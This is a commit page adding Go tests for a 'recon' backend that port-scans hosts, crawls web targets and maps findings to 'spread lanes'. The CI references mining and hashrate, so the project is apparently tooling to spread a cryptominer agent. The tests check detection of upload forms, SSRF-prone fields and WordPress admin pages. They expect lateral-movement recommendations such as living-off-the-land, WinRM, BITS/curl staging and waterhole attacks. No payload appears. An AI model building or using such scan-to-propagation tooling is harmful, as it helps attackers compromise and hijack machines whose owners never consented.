Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
186
server/internal/recon/recon_test.go
Normal file
186
server/internal/recon/recon_test.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestScanPortsWithInject(t *testing.T) {
|
||||
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
if host != "10.0.0.5" {
|
||||
t.Fatalf("host=%q", host)
|
||||
}
|
||||
return port == 22 || port == 443
|
||||
})
|
||||
t.Cleanup(func() { SetPortDialHook(nil) })
|
||||
results := ScanPorts("10.0.0.5")
|
||||
open := map[int]bool{}
|
||||
for _, r := range results {
|
||||
if r.Open {
|
||||
open[r.Port] = true
|
||||
}
|
||||
}
|
||||
if !open[22] || !open[443] {
|
||||
t.Fatalf("open=%v", open)
|
||||
}
|
||||
if open[445] {
|
||||
t.Fatal("445 should be closed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseHTMLFixtures(t *testing.T) {
|
||||
body := `<html><head><title>Upload</title></head><body>
|
||||
<form action="/import" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="payload">
|
||||
<input type="text" name="webhook_url" value="">
|
||||
</form>
|
||||
<a href="/admin/login">Admin</a>
|
||||
<link href="/wp-content/themes/x/style.css">
|
||||
</body></html>`
|
||||
files, multi, fields, score, cms := ParseHTML("http://lab/upload", body)
|
||||
if len(files) != 1 || !files[0].HasFile {
|
||||
t.Fatalf("file inputs: %+v", files)
|
||||
}
|
||||
if len(multi) != 1 || !multi[0].Multipart {
|
||||
t.Fatalf("multipart: %+v", multi)
|
||||
}
|
||||
if len(fields) == 0 {
|
||||
t.Fatal("expected url fields")
|
||||
}
|
||||
if score < 10 {
|
||||
t.Fatalf("ssrf score=%d", score)
|
||||
}
|
||||
if !containsStr(cms, "wordpress") && !containsStr(cms, "admin_login") {
|
||||
t.Fatalf("cms=%v", cms)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrawlSameOriginDepth(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/":
|
||||
w.Write([]byte(`<html><a href="/page2">next</a><a href="http://evil.example/x">off</a></html>`))
|
||||
case "/page2":
|
||||
w.Write([]byte(`<html><a href="/page3">deep</a></html>`))
|
||||
case "/page3":
|
||||
w.Write([]byte(`<html>leaf</html>`))
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := 80
|
||||
if p := u.Port(); p != "" {
|
||||
port = atoi(p)
|
||||
}
|
||||
|
||||
SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
resp, err := http.Get(rawURL)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := readBodyLimited(resp.Body, maxHTMLBytes)
|
||||
return resp.StatusCode, body, nil
|
||||
})
|
||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||
|
||||
report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.PagesFetched < 2 {
|
||||
t.Fatalf("pages=%d", report.PagesFetched)
|
||||
}
|
||||
for _, p := range report.Pages {
|
||||
if strings.Contains(p.URL, "evil.example") {
|
||||
t.Fatalf("followed off-origin %s", p.URL)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanReportRecommendations(t *testing.T) {
|
||||
ports := []PortResult{
|
||||
{Port: 22, Open: true},
|
||||
{Port: 5985, Open: true},
|
||||
{Port: 80, Open: true},
|
||||
}
|
||||
crawl := &CrawlReport{
|
||||
MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}},
|
||||
SSRFScore: 40,
|
||||
}
|
||||
recs := BuildRecommendations(ports, crawl)
|
||||
if len(recs) < 5 {
|
||||
t.Fatalf("recs=%+v", recs)
|
||||
}
|
||||
keys := map[string]bool{}
|
||||
for _, r := range recs {
|
||||
keys[r.Lane+"|"+r.Template] = true
|
||||
}
|
||||
for _, want := range []string{"linux_lotl|linux-lotl", "winrm|winrm", "bits_curl|", "stage_fetch|", "|ssrf_probe", "|public_waterhole"} {
|
||||
if !keys[want] {
|
||||
t.Fatalf("missing %q in %+v", want, recs)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanOwnedTarget(t *testing.T) {
|
||||
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
return port == 80
|
||||
})
|
||||
t.Cleanup(func() { SetPortDialHook(nil) })
|
||||
SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
|
||||
})
|
||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||
report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.Host != "owned.lab" {
|
||||
t.Fatalf("host=%q", report.Host)
|
||||
}
|
||||
if report.Crawl == nil || len(report.Recommendations) == 0 {
|
||||
raw, _ := json.Marshal(report)
|
||||
t.Fatalf("report=%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeOwnedHostRejectsEmpty(t *testing.T) {
|
||||
if _, err := Scan(ScanRequest{}); err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func containsStr(list []string, want string) bool {
|
||||
for _, s := range list {
|
||||
if s == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func atoi(s string) int {
|
||||
n := 0
|
||||
for _, c := range s {
|
||||
if c < '0' || c > '9' {
|
||||
return 80
|
||||
}
|
||||
n = n*10 + int(c-'0')
|
||||
}
|
||||
if n == 0 {
|
||||
return 80
|
||||
}
|
||||
return n
|
||||
}
|
||||
Reference in New Issue
Block a user